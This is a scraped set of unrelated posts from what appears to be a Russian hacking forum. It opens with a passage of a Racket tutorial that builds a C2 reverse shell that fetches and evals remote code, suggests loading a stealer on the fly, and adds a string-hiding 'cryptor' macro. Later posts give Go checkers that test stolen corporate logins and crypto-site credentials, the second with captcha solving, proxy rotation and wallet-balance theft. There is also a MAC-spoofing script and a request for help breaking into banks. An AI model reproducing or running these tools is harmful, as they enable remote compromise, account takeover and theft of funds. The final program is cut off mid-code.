Кстати да, обратили внимание на квадратные скобки в примере про cond? Достаточно интересный прикол языка Racket: можно использовать для записи кода любой тип скобок - квадратные, круглые и фигурные. И комбинировать их по- разному, главное чтобы открывающаяся и закрывающаяся скобка совпадали по типу (то есть открыть круглой, а закрыть квадратной не получится).
Сомнительно применение этой фичи в реальном мире, потому что во всех редакторах сейчас есть выделение скобочек цветом + автоматическое закрытие, поэтому запутаться вряд ли получится. Но прикольно, если вас допустим бесит нажимать шифт, но у вас очень развитый мизинец правой руки - можно все писать в квадратных скобках.
Присваивание и другие деструктивные операции
В языках, которые стремятся к чистоте, неизменяемости данных и функциональной парадигме, принято выделять конструктивные и деструктивные операции.
Конструктивные - это операции или функции, которые НЕ изменяют объект, а возвращают новый с необходимыми изменениями.
Деструктивные же операции изменяют сам объект. Принято считать, что такой подход более опасный и потенциально ведет к большему количеству труднообнаружимых ошибок. Поэтому в некоторых языках, и в том числе в Racket принята следующая конвенция.В имени деструктивного оператора или функции обязательно в конце должен быть восклицательный знак.
Например, присваивание выглядит вот так:
Code:Copy to clipboard
(set! x 1)
В дополнение к этому есть соглашение, что предикаты (функции, возвращающие булево значение) заканчиваются вопросительным знаком.
Скажу честно - это реально удобно и я лично стараюсь придерживаться подобной практики во всех проектах с которыми работаю, независимо от языка. Потому что дописать символ в конец не сложно, зато можно по одному только названию функции понять, что она делает и как она это делает. Берем на заметку.
Про кавычку
Одна из самых важных тем в работе с любыми лиспообразными языками. Как мы уже видели на примерах, в Racket код равно данные, а данные равно код, все это смешано перемешано и свободно преобразуется друг в друга. Как понять что есть что? Как сказать, что именно я хочу сделать - вызвать функцию или на первое место в списке поставить функцию? Во всем этом сейчас разберемся.
Необходимые нам символы:
' - одинарная кавычка, она же quote. Обозначает подавление вычисления
` - квазикавычка, она же косая одинарная кавычка, она же обратная кавычка, она же quasiquote/backquote. Также подавляет вычисление, как и обычная одинарная, но позволяет делать внутри немного магии из следующих пунктов
, - запятая, она же comma/unquote. Обозначает кавычку наоборот - то есть провоцирует вычисление того, перед чем стоит
@ - собака. Обозначает распаковку значения из "списка".
Для старта достаточно, давайте поглядим как это все работает на примерах. Итак, у нас есть переменная х:
Code:Copy to clipboard
(define x 1)
Если мы просто введем х в репле - получим значение. Как нам получить именно символ х? Тут все просто, ответ уже содержится в вопросе - тип данных символ даже записывается с одинарной кавычкой:
Code:Copy to clipboard
> x
1
> 'x
x
Окей, а что будет, если мы возьмем список (1 2 3 4 5)?
Code:Copy to clipboard
> (1 2 3 4 5)
; application: not a procedure;
; expected a procedure that can be applied to arguments
; given: 1
; [,bt for context]
Ошибка, потому что 1 - не функция. Чтобы получить из этого список, нужно сделать что? Правильно, использовать кавычку!
Code:Copy to clipboard
> '(1 2 3 4 5)
'(1 2 3 4 5)
То же самое с вызовами функций. Нет кавычки - вычисляется, есть кавычка - это просто список.
Code:Copy to clipboard
> (define (f x) (+ 1 x))
> (f 1)
2
> '(f 1)
'(f 1)
Окей, а как же тогда работает и для чего нужна квазикавычка? Все просто, она точно так же подавляет выполнение, но при этом позволяет внутри выражения опять это выполнение инициировать.
Например, можно делать вот так:
Code:Copy to clipboard
> `(1 2 ,(+ 1 2))
'(1 2 3)
Как уже понял внимательный читатель - запятой мы снова вызываем выполнение, а с помощью собаки - просто убираем вложенность.
Для чего нам может все это понадобиться, спросите вы?
Для того, что делает Racket и в целом лиспы такими особенными - макросы.
Примечание:
Конечно, в Racket есть и паттерн матчинг, и акторы, и ООП, и эфемероны, и
ленивые вычисления, и все, что вы когда-либо встречали или не встречали в
других языках программирования. Я специально не стал разбирать все приколюхи,
потому что во-первых это огромный объем информации, а во-вторых - ну надо же
оставить читателю что-то для самостоятельного изучения и просвещения.
Макросы
Как я уже говорил, вокруг Лиспа ходит много легенд и слухов. Язык для разработки ИИ, созданный в застенках технических институтов серьезными дядями, а затем стандартизированный военными. Язык, который как пластилин превратится в то, что вы из него сделаете. Язык, про который говорят, что он создан для задач, которые невозможно решить используя другие языки программирования (что, строго говоря неправда, из-за эквивалентности полных по Тьюрингу языков).
На мой взгляд все эти мысли слегка преувеличены, но доля правды в них все-таки есть. Есть у лиспов фишка, которая неразрывно связана с синтаксисом в виде S-выражений и которой действительно нет в других языках. Фишка, из-за которой тот же Common Lisp до сих пор живее всех живых, и переживет кучу модных языков, которые сейчас на пике популярности.
Это макросы.
Про макросы писать довольно сложно, потому что практически невозможно объяснить человеку, который с ними не сталкивался, нафига они собственно нужны. Но я попытаюсь, и начну с самых основ.
Макросы - это, цитируя классиков, "программы, которые пишут программы". Проще говоря, это операторы, которые реализуются через трансформацию. Определяя макрос, вы указываете как его вызов должен быть преобразован. Само преобразование автоматически выполняется компилятором и называется раскрытием макроса (macro expansion). Код, полученный в результате раскрытия макроса, естаественным образом становится частью программы, как будто бы его написали вы.
Например, and - это макрос.
Code:Copy to clipboard
(and (expr a) (expr b) (expr c))
Это выражение во время компиляции развернется в следующее:
Code:Copy to clipboard
(if (expr a)
(if (expr b)
(expr c)
#f)
#f)
С практической точки зрения, макросы интересы по двум причинам:
Для примера - допустим мы хотим реализовать вот такую конструкцию "report", которая печатает выражение в консоль, а затем возвращает это выражение для дальнейших вычислений
Code:Copy to clipboard
(report (+ 1 2 3 4))
Если бы report был обычной функцией, выражение (+ 1 2 3 4) вычислялось бы в число 10, которое затем передавалось бы в качестве аргумента функции. Но мы не смогли бы напечатать оригинальное выражение, поскольку функция report его никогда не видела.
Если же мы реализуем report как макрос, он будет выглядеть вот так:
Code:Copy to clipboard
(define-macro (report EXPR)
#'(begin
(displayln (format "input was ~a" 'EXPR))
EXPR))
Теперь, если мы выполним код, мы получим ожидаемый верный результат:
Code:Copy to clipboard
> (report (+ 1 2 3 4))
input was (+ 1 2 3 4)
10
Для того, чтобы понять как это все работает, важно отличать три стадии работы программы (применимо не только в Racket, но и во всех остальных языках программирования. Просто тут это реально имеет большое значение):
Read time - это момент, когда компилятор читает код вашей программы. То есть самое-самое начало. Макросы, работающие в этот момент, называются reader macros, и именно они отвечают за парсинг новых языков программирования и изменение синтаксиса. Вместе с тем, ридер макросы являются самыми сложными для реализации, поэтому в этой статье мы не будем акцентировать на них внимание.
Compile time - это момент, когда компилятор успешно прочитал и распарсил ваш код, и приступает собственно к сборке исполняемого файла. Именно в это время отрабатывает большинство наших макросов, а называть их принято просто macros.
Run time - это момент, когда программа успешно собрана и исполняется. В этот момент синтаксические преобразования, как правило, не производятся.
Как уже понял вдумчивый читатель, разработка и проектирование макросов - это отдельная, совсем нетривиальная дисциплина, и выстрелить себе в ногу тут можно ой как много раз. В частности, один из частых фейлов - непреднамеренный захват переменной.
Простыми словами - это когда вы используете в макросах какие-то имена переменных, а при раскрытии макроса код вставляется в то место, где такие переменные уже есть.
Небольшой псевдо-пример, допустим у нас есть макрос "(defx 5)", задача которого - создать переменную Х и присвоить ей значение пять. И разворачивается он во что-то такое:
Code:Copy to clipboard
(define x 5)
Что произойдет, если переменная Х уже была у нас в коде программы ранее и за что-то отвечала? Верно, она перезапишется и это потенциально очень труднообнаружимая ошибка. Второй вариант - если вы используете в макросах стандартные имена библиотечных функций, а эти функции в программе были переопределены.
Поскольку макросы присутствуют в Лиспах примерно везде, представьте в какое адище все это превращается, особенно учитывая что макросы могут быть и в подключаемых модулях, и в вашем собственном коде.
Короче, вопрос встал остро, поэтому теперь макросы принято делить на две категории:
Негигиенические - это макросы без дополнительных ограничений, можно реализовать примеры выше и стрелять себе в ноги сколько угодно раз. Такая система используется в Common Lisp. Можно захватывать переменные, грабить корованы и делать любые грязные хаки
Гигиенические - это макросы, в которых всем локальным переменным во время раскрытия присваивается уникальный идентификатор. Захват переменных исключен, все работает как вы запланировали. Такие макросы являются стандартом языка Scheme и именно они у нас в Racket.
Создаются маркосы в Racket разнообразным количеством способов, и если честно - не совсем удобно. Приходится постоянно прыгать между типами datum и syntax, а уж про грязные хаки можно точно забыть - обойти гигиеническую модель не так-то просто.
Самый удобный формат для базовых трансформаций кода - это объединение макросов с паттерн матчингом:
Code:Copy to clipboard
(define-syntax (swap stx)
(syntax-case stx ()
[(_ a b) #'(let ([t a])
(set! a b)
(set! b t))]))
Таким образом можно реализовывать и добавлять новый функционал, если основная задача плюс минус как у функций.
К сожалению, вопрос гигиены макросов - знатная тема для холиваров. Для базовых, "учебных" трансформацией все ок, и порог входа довольно низкий. Но с плюс минус сложными макросами у Racket начинаются пляски с бубном, потому что система syntax спроектирована, скажем так, весьма сомнительно.
Окей, я думаю пора бы нам покодить что-нибудь полезное, поэтому едем дальше.
PoС Reverse shell
Так, ну я думаю мы сразу скипнем момент с базовым стилером и вот это вот все, что пишется плюс минус одинаково на всех языках. Давайте сразу к интресному.
Напишем реверс шелл, но не тот что получает команды и просто вызывает их через cmd. А тот, что получает код на Racket и выполняет его в живой системе. Это позволит нам сделать своего рода "закладку" и весь необходимый код подгружать в программу динамически. Помните, что вес хэллоуворлда был 2 мб? Это потому что этот исполняемый файл тащит с собой весь образ (то есть весь Racket).
Code:Copy to clipboard
#lang racket
(require net/http-easy)
(define server "YOUR_C2_ADDRESS")
(let loop ()
(define command
(hash-ref 'command (response-json (get server))))
(eval (read (open-input-string command)))
(sleep 5)
(loop))
По коду все достаточно просто - импортируем библиотеку для изи запросов, задаем адрес нашего С2 сервака и далее в бесконечном цикле запрашиваем команду, парсим и исполняем.
Можно передать команду "(define (steal path) ...)" и реализовать стилер на лету. Ну или что-то другое, на ваш вкус.
PoC Cryptor
Окей, давайте раз уж я столько внимания уделил макросам, поиграемся и с ними тоже. Реализуем шифрование строк, чтобы они не валялись у нас в открытом виде в коде программы.
Начнем со строк. Тут нам понадобится один макрос и одна функция. Для наглядности я не буду использовать какой-то сложный алгоритм шифрования. Просто возьмем строку и перевернем ее.
Code:Copy to clipboard
(define-syntax (encrypt stx)
(let* ((s (syntax->datum (cadr (syntax->list stx))))
(enc-s (list->string (reverse (string->list s)))))
(datum->syntax stx `(decrypt ,enc-s))))
Тут внимательный читатель может собственными глазами увидеть то, о чем я говорил в части про макросы - это нетривиально в плане преобразований типов туда-обратно и нужно быть очень аккуратным.
Теперь, нам всего лишь достаточно все строки в коде заменить на (encrypt
"ABC"), и во время компиляции этот макрос развернется в (decrypt "CBA").
Осталось реализовать функцию decrypt и добавить ее в наш код:
Code:Copy to clipboard
(define (decrypt s)
(list->string (reverse (string->list s))))
Ну вот и все, теперь все строки в нашем коде программы будут зашифрованы и расшифровываться только в рантайме. При этом в сорцах мы все так же пишем нормальный текст, но в итоговом софте он нигде не будет фигурировать.
Заключение
Сегодня у нас в гостях был язык Racket.
Изначально проект разрабатывался в качестве среды для обучения программированию, и на мой взгляд с этой задачей справляется на все сто.
На мой взгляд Racket - отличный язык, для того чтобы познакомиться с языками семейства Лисп и понять, ваше это или нет. Хорошая документация, много примеров и библиотек. Есть прикольные книги с интересными учебными проектами (в сфере геймдева, например, Realm of Racket).
Но, как я уже говорил не раз, Racket - отличный учебный язык. И многие вещи здесь реализованы слишком чисто и строго, как будто для работы в лабораторных условиях. Для боевых задач Racket тоже подходит, но является не лучшим выбором.
Пощупайте. Проникнитесь. Поймите ваше это или же скобочки бесконечно бесят.
А потом просто воспользуйтесь тем, что у языка Scheme куча реализаций, и вы
можете выбрать любую из них. Например, Chicken или Gambit с трансляцией в С.
Если писать в стандарте R6RS, то код будет максимально совместим.
И конечно, в чем Racket реально хорош - так это в простом и быстром проектировании новых языков. Если эта задача входит в область ваших интересов, и опять же, скобочки не напрягают - отличный выбор (намного лучше, чем тот же Red).
Ну и конечно же Racket - отличный разгон перед изучением Common Lisp. Можно в лабораторных условиях привыкнуть к особенностям языка и синтаксису, а потом приходить к бородатым дядям и делать реальную грязь
На этом пожалуй все, спасибо за внимание!
С вами был Патрик.
Специально для XSS
Начал изучать раст и появился такой вопрос
Как "прикрутить" OLLVM к компилятору раста?
Если кто знает, покажите как это сделать
Someone may come handy and update the source
Pull strings and requests.
Code:Copy to clipboard
package main
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"path/filepath"
"strings"
"sync"
"time"
ui "github.com/gizak/termui/v3"
"github.com/gizak/termui/v3/widgets"
"github.com/fatih/color"
)
var CounterMutex sync.Mutex
var PanelMutex sync.Mutex
func checkLogin(loginURL, username, password string, wg *sync.WaitGroup, errorCounter *int, validCounter *int, validList *widgets.List, invalidList *widgets.List, errorList *widgets.List) {
defer wg.Done()
client := &http.Client{}
var req *http.Request
var err error
method := http.MethodGet
if strings.HasPrefix(strings.ToLower(loginURL), "https://") || strings.HasPrefix(strings.ToLower(loginURL), "http://") {
method = http.MethodPost
}
if method == http.MethodPost {
formData := url.Values{}
formData.Set("username", username)
formData.Set("password", password)
req, err = http.NewRequest(http.MethodPost, loginURL, bytes.NewBufferString(formData.Encode()))
if err != nil {
fmt.Printf("Error creating request: %s\n", err)
return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
} else {
req, err = http.NewRequest(http.MethodGet, loginURL, nil)
if err != nil {
fmt.Printf("Error creating request: %s\n", err)
return
}
}
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
client.Transport = &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
resp, err := client.Do(req)
if err != nil {
fmt.Printf("Error making request: %s\n", err)
CounterMutex.Lock()
*errorCounter++
errorList.Rows = append(errorList.Rows, fmt.Sprintf("Error: %s", loginURL))
CounterMutex.Unlock()
return
}
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK {
color.Green("Valid Access: %s", loginURL)
saveResult("valid_accesses.txt", loginURL)
CounterMutex.Lock()
*validCounter++
validList.Rows = append(validList.Rows, fmt.Sprintf("Valid: %s", loginURL))
CounterMutex.Unlock()
} else {
color.Red("Invalid Access: %s", loginURL)
saveResult("invalid_accesses.txt", loginURL)
CounterMutex.Lock()
invalidList.Rows = append(invalidList.Rows, fmt.Sprintf("Invalid: %s", loginURL))
CounterMutex.Unlock()
}
}
func saveResult(filename, result string) {
timestamp := time.Now().Format("2006-01-02_15-04-05")
dir := filepath.Join(".", "results")
if _, err := os.Stat(dir); os.IsNotExist(err) {
os.Mkdir(dir, os.ModePerm)
}
filepath := filepath.Join(dir, filename)
f, err := os.OpenFile(filepath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
fmt.Printf("Error opening file: %s\n", err)
return
}
defer f.Close()
_, err = f.WriteString(fmt.Sprintf("[%s] %s\n", timestamp, result))
if err != nil {
fmt.Printf("Error writing to file: %s\n", err)
}
}
func main() {
err := ui.Init()
if err != nil {
panic(err)
}
defer ui.Close()
color.Cyan(`
█████████ █████ █████
███░░░░░███ ░░███ ░░███
███ ░░░ ██████ ████████ ████████ ░░███ ███
░███ ███░░███░░███░░███░░███░░███ ░░█████
░███ ░███ ░███ ░███ ░░░ ░███ ░███ ███░███
░░███ ███░███ ░███ ░███ ░███ ░███ ███ ░░███
░░█████████ ░░██████ █████ ░███████ █████ ██ ███
░░░░░░░░░ ░░░░░░ ░░░░░ ░███░░░ ░░░░░ ░░░░░
░███
█████
░░░░░`)
reader := bufio.NewReader(os.Stdin)
fmt.Print("File containing corp logs: ")
filePath, _ := reader.ReadString('\n')
filePath = strings.TrimSpace(filePath)
file, err := os.Open(filePath)
if err != nil {
panic(fmt.Errorf("error opening file: %s", err))
}
defer file.Close()
var wg sync.WaitGroup
totalLines := 0
errorCounter := 0
validCounter := 0
validList := widgets.NewList()
invalidList := widgets.NewList()
errorList := widgets.NewList()
ui.Render(validList, invalidList, errorList)
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
parts := strings.Split(line, ":")
if len(parts) != 3 {
fmt.Printf("Invalid line format: %s\n", line)
continue
}
loginURL := parts[0]
username := parts[1]
password := parts[2]
totalLines++
wg.Add(1)
go checkLogin(loginURL, username, password, &wg, &errorCounter, &validCounter, validList, invalidList, errorList)
}
go func() {
wg.Wait()
ui.Render(validList, invalidList, errorList)
}()
color.Cyan("Total lines uploaded: %d", totalLines)
uiEvents := ui.PollEvents()
for {
e := <-uiEvents
switch e.ID {
case "q", "<Cc>":
ui.Close()
fmt.Println("Do you want to exit? (yes/no)")
exitResponse, _ := reader.ReadString('\n')
exitResponse = strings.TrimSpace(exitResponse)
if exitResponse == "yes" {
return
}
}
}
}
Доброго времени суток, посоветуйте ресурсы/ материал по IOS или mac os
security/hacking
Заранее спасибо большое!
Здравия всем,
Что надо учить чтоб взламывать например банки(иметь все данные клиентов итд...)
Можете подсказать что надо выучить чтоб проникать в корпоративные сети.
#!/bin/bash
Function to generate a random MAC address
generate_random_mac() {
echo -n "00:"
od -An -N3 -t xC /dev/urandom | tr -s ' ' | tr ' ' ':' | cut -d: -f1-3
}Function to generate a random hostname
generate_random_hostname() {
echo "$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
}Set random MAC address and hostname
NEW_MAC=$(generate_random_mac)
NEW_HOSTNAME=$(generate_random_hostname)Function to spoof MAC address for a given interface
spoof_mac() {
interface=$1
sudo ifconfig $interface down
sudo ifconfig $interface hw ether $NEW_MAC
sudo ifconfig $interface up
}Spoof MAC address for eth0
spoof_mac "eth0"
Check if wlan0 interface exists and spoof MAC address
if [[ $(ifconfig -a | grep wlan0) ]]; then
spoof_mac "wlan0"
fiCheck if wlan1 interface exists and spoof MAC address
if [[ $(ifconfig -a | grep wlan1) ]]; then
spoof_mac "wlan1"
fiChange hostname
sudo hostnamectl set-hostname $NEW_HOSTNAME
Display current MAC address and hostname for verification
echo "Current MAC address (eth0): $(cat /sys/class/net/eth0/address)"
echo "Current MAC address (wlan0): $(cat /sys/class/net/wlan0/address)"
echo "Current MAC address (wlan1): $(cat /sys/class/net/wlan1/address)"
echo "Current hostname: $(hostname)"Click to expand...
Привет всем у меня сорцы написаные на раст, когда генерирую ехе фаил он х64 по дефолту, как сделать х86? Спасибо
Привет ребят сейчас стал интеросватся асмом и паралейно учу СИ
И назрело пару вопросов какой лучше выбрать MASM FASM NASM TASM.
Заниматся им хочу скорей не для разработки а для реверса ну и чтоб лучше
понимать вообще как устроены ОС.
Посоветуйте болле быстрый путь без лишнего просто советуют читать книги
которые скорее для разработчиков в них мало практики дали Ирвина для ну такое
себе для новичка слишком много теории и на первых этапах это не очень. Кто
может посоветовать хорошие книги ну кто как начинал очень интересно разобратся
но не хочется пойти по неправльному пути жизнь и так коротка у нас)))
Как в функцию Entry передать аргумент 9B524A87h в asm Visual Studio?
Code:Copy to clipboard
Entry PROC
mov [rsp +8], rcx
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
mov rcx, 9B524A87h
push rcx
sub rsp, 028h
call Func1
add rsp, 028h
pop rcx
push rax
sub rsp, 028h
call Func2
add rsp, 028h
pop r11
mov rcx, [rsp+8]
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r11
Entry ENDP
Должно получится что то вроде этого:
Code:Copy to clipboard
Entry PROC
mov [rsp +8], rcx
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
call Func1
mov r15, rax
call Func2
add rsp, 28h
mov rcx, [rsp+8]
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r15
Entry ENDP
MyFunc PROC
push 9B524A87h
call Entry
add rsp, 8
MyFunc ENDP
taikai.network is a Web3 development hub that allows users to deposit and withdraw crypto
Proxies supported:
http
socks4
socks5
Upon successful login script will retrieve following values:
User:Pass:balance
Warning the following packages must be installed prior to running code
github.com/valyala/fastjson
github.com/andybalholm/brotli
Also source requires client key for "capsolver.com" that has balance on it (add client key to lines 136 and 122)
Code:Copy to clipboard
package main
import (
"bufio"
"fmt"
"io/ioutil"
"math/rand"
"net/http"
"net/url"
"os"
"strings"
"sync"
"time"
"crypto/tls"
"github.com/valyala/fastjson"
"github.com/andybalholm/brotli"
"strconv"
)
var (
proxies sync.Map // Concurrent map for proxies
accounts = []string{}
removeCh = make(chan int) // Channel for removing proxy keys
)
func WriteFile(name, content string) bool {
file, err := os.OpenFile(name, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
panic(err)
return false
}
defer file.Close()
if _, err := file.WriteString(content); err != nil {
panic(err)
return false
}
return true
}
func OpenFile(name string) []string {
file, err := os.Open(name)
if err != nil {
panic(err)
}
defer file.Close()
lines := []string{}
scanner := bufio.NewScanner(file)
for scanner.Scan() {
lines = append(lines, scanner.Text())
}
return lines
}
func init() {
accounts = OpenFile("logs.txt")
file, err := os.Open("proxies.txt")
if err != nil {
fmt.Println(err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
for i := 0; scanner.Scan(); i++ {
proxyURL, err := url.Parse(scanner.Text())
if err != nil {
fmt.Println("Proxy format not valid:", err)
} else {
if proxyURL.Scheme != "http" && proxyURL.Scheme != "socks5" && proxyURL.Scheme != "socks4" {
fmt.Printf("Invalid proxy format (required http or socks5): %s\n", proxyURL.Scheme)
} else {
proxies.Store(i, scanner.Text()) // Store key-value pair in sync.Map
}
}
}
}
func capSolver(taskID string, payload string) string {
var p fastjson.Parser
for{
url := "https://api.capsolver.com/getTaskResult"
payloadz := strings.NewReader(payload)
req, _ := http.NewRequest("POST", url, payloadz)
req.Header.Add("Content-Type", "application/json")
res, _ := http.DefaultClient.Do(req)
defer res.Body.Close()
body, err := ioutil.ReadAll(res.Body)
if err != nil {
fmt.Println(err)
}
if strings.Contains(string(body), "processing") {
time.Sleep(3 * time.Second)
continue
}
if strings.Contains(string(body), "solution") {
pResult, err := p.Parse(string(body))
if err != nil {
fmt.Println("Err:", err)
}
gResult := pResult.GetStringBytes("solution", "gRecaptchaResponse")
return string(gResult)
}
}
return "";
}
func capSol() string {
var req *http.Request
var res *http.Response
var body []byte
var pResult *fastjson.Value
var p fastjson.Parser
var err error
url := "https://api.capsolver.com/createTask"
payload := strings.NewReader("{\n \"clientKey\": \"\",\n \"task\": {\n \"type\": \"ReCaptchaV2Task\",\n \"websiteURL\": \"https://taikai.network/login\",\n\n \"websiteKey\": \"6LdNxwMcAAAAANfYhbyby_nWrUfabvqlkS5nITIb\"\n }\n}")
req, _ = http.NewRequest("POST", url, payload)
res, _ = http.DefaultClient.Do(req)
defer res.Body.Close()
body, _ = ioutil.ReadAll(res.Body)
pResult, err = p.Parse(string(body))
if err != nil {
fmt.Println(err)
}
taskID := pResult.GetStringBytes("taskId")
payloads := fmt.Sprintf("{\n \"clientKey\": \"\",\n \"taskId\": \"%s\"\n}", taskID)
solv := capSolver(string(taskID), payloads)
return string(solv)
}
func captBal(token string) int {
netClient := &http.Client{
Timeout: time.Second * 10,
//Transport: transport,
}
var req *http.Request
var res *http.Response
var err error
var body []byte
url := "https://api.taikai.network/api/graphql"
payload := fmt.Sprintf("{\"operationName\":\"USER_WALLETS\",\"variables\":{},\"query\":\"query USER_WALLETS {\\n me {\\n ... on GuestUser {\\n __typename\\n id\\n wallets {\\n id\\n currency\\n address\\n type\\n challenge {\\n id\\n name\\n currentStep {\\n id\\n __typename\\n }\\n isClosed\\n __typename\\n }\\n balance\\n __typename\\n }\\n }\\n ... on User {\\n __typename\\n id\\n wallets {\\n id\\n currency\\n address\\n type\\n challengeId\\n challenge {\\n id\\n name\\n currentStep {\\n id\\n __typename\\n }\\n isClosed\\n __typename\\n }\\n balance\\n __typename\\n }\\n }\\n __typename\\n }\\n}\\n\"}")
payloadz := strings.NewReader(payload)
req, err = http.NewRequest("POST", url, payloadz)
req.AddCookie(&http.Cookie{Name: "token", Value: token})
req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0")
req.Header.Add("Accept-Language", "en-GB,en;q=0.5")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Referer", "https://taikai.network/")
req.Header.Add("content-type", "application/json")
req.Header.Add("Origin", "https://taikai.network")
req.Header.Add("DNT", "1")
req.Header.Add("Sec-GPC", "1")
req.Header.Add("Connection", "keep-alive")
req.Header.Add("Sec-Fetch-Dest", "empty")
req.Header.Add("Sec-Fetch-Mode", "cors")
req.Header.Add("Sec-Fetch-Site", "same-site")
req.Header.Add("TE", "trailers")
res, err = netClient.Do(req)
if err != nil {
fmt.Println(err)
return -1
} else {
defer res.Body.Close()
}
reader := brotli.NewReader(res.Body)
body, err = ioutil.ReadAll(reader)
if err != nil {
fmt.Println("Failed BR:", err)
}
convB := string(body)
if strings.Contains(convB, "wallets"){
var p fastjson.Parser
pResult, err := p.Parse(convB)
if err != nil {
fmt.Println("Err:", err)
}
tkaiBal := pResult.GetStringBytes("data", "me", "wallets", "0", "balance")
ethBal := pResult.GetStringBytes("data", "me", "wallets", "1", "balance")
tkConv, _ := strconv.Atoi(string(tkaiBal))
ethConv, _ := strconv.Atoi(string(ethBal))
totalBal := tkConv + ethConv + 3
fmt.Println(totalBal)
return totalBal
} else{
fmt.Println("Undefined:", convB)
return -1
}
}
func check(email string, pass string, proxy string) int {
for {
var req *http.Request
var res *http.Response
var err error
var body []byte
var token string
var succ bool
proxyURL, _ := url.Parse(proxy)
transport := &http.Transport{
Proxy: http.ProxyURL(proxyURL),
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
netClient := &http.Client{
Timeout: time.Second * 20,
Transport: transport,
}
test := capSol()
url := "https://api.taikai.network/api/graphql"
payload := fmt.Sprintf("{\"operationName\":\"SIGNIN\",\"variables\":{\"email\":\"%s\",\"password\":\"%s\",\"recaptchaToken\":\"%s\"},\"query\":\"mutation SIGNIN($email: String!, $password: String!, $recaptchaToken: String!) {\\n signin(email: $email, password: $password, token: $recaptchaToken) {\\n user {\\n id\\n username\\n __typename\\n }\\n state\\n challengeCode\\n __typename\\n }\\n}\\n\"}", email, pass, test)
payloadz := strings.NewReader(payload)
req, err = http.NewRequest("POST", url, payloadz)
if err != nil {
fmt.Println(err)
}
req.Header.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0")
req.Header.Add("Accept-Language", "en-GB,en;q=0.5")
req.Header.Add("Accept-Encoding", "gzip, deflate, br")
req.Header.Add("Referer", "https://taikai.network/")
req.Header.Add("content-type", "application/json")
req.Header.Add("Origin", "https://taikai.network")
req.Header.Add("DNT", "1")
req.Header.Add("Sec-GPC", "1")
req.Header.Add("Connection", "keep-alive")
req.Header.Add("Sec-Fetch-Dest", "empty")
req.Header.Add("Sec-Fetch-Mode", "cors")
req.Header.Add("Sec-Fetch-Site", "same-site")
req.Header.Add("TE", "trailers")
res, err = netClient.Do(req)
if err != nil {
return 1
} else {
defer res.Body.Close()
}
reader := brotli.NewReader(res.Body)
body, err = ioutil.ReadAll(reader)
convB := string(body)
if err != nil {
fmt.Println("Failed BR:", err)
return 1
}
if strings.Contains(convB, "Cloudflare") {
return 1
} else if strings.Contains(convB, "CHALLENGE_INITIATED") {
succ = WriteFile("fun.txt", email + " 2FA ВКЛЮЧЕНО\n")
if succ == false{
fmt.Println("File write failed")
}
return 6
}else if strings.Contains(convB, "AUTHENTICATED") {
for _, c := range res.Cookies() {
if c.Name == "token" {
token = c.Value
bal := captBal(token)
if bal == -1 {
succ = WriteFile("fun.txt", email + ":" + pass+ ":" + "Bal capture failed")
if succ == false{
fmt.Println("File write failed" + email + ":" + pass+ ":" + "Bal capture failed")
}
} else {
succ = WriteFile("fun.txt", email + ":" + pass+ ":" + string(bal))
if succ == false{
fmt.Println("File write failed" + email + ":" + pass+ ":" + "Bal capture failed")
}
}
return 0
}
}
} else if strings.Contains(convB, "human") {
fmt.Println("Captcha failed")
continue
}else if strings.Contains(convB, "email or password is wrong") {
return 4
} else if strings.Contains(convB, "Unexpected") {
return 1
} else{
fmt.Println("Undefined error:", convB)
return 4
}
}
}
func getRandomProxy() (int, string) {
var randomKey int
var randomURL string
rand.Seed(time.Now().UnixNano())
// Create a slice to hold all keys
keys := make([]int, 0)
// Iterate over the map and collect keys
proxies.Range(func(key, value interface{}) bool {
keys = append(keys, key.(int))
return true // continue iteration
})
// If there are no keys, return empty values
if len(keys) == 0 {
return randomKey, randomURL
}
// Randomly select a key
for {
randomIndex := rand.Intn(len(keys))
randomKey = keys[randomIndex]
// Retrieve the corresponding value
if value, ok := proxies.Load(randomKey); ok {
randomURL = value.(string)
break // Exit the loop if value is found
} else {
continue
}
}
return randomKey, randomURL
}
func removeProxy(key int) {
proxies.Delete(key)
}
func proxyRemover() {
for key := range removeCh {
removeProxy(key)
}
}
func main() {
go proxyRemover() // Start proxy remover goroutine
// Check if proxies map is empty before starting goroutines
waitGroup := sync.WaitGroup{}
for i := 0; i < len(accounts); i++ {
waitGroup.Add(1)
account := strings.SplitN(accounts[i], ":", 2)
go func(email string, pass string) {
defer waitGroup.Done()
for {
key, randProxy := getRandomProxy()
if(randProxy == "") {
return
};
val := check(email, pass, randProxy)
if val == 4 {
fmt.Printf("Bad: %s\n", email)
return
} else if val == 1 {
fmt.Printf("%s | Bad Proxy: %s\n", email, randProxy)
removeCh <- key // Send key to remove from map
} else if val == 3 {
fmt.Println("Parse failed\n")
return
} else if val == 5 {
fmt.Printf("Account locked: %s\n", email)
return
} else if val == 6 {
fmt.Printf("Valid (MFA enabled): %s\n", email)
return
}else {
fmt.Printf("Good: %s\n", email)
return
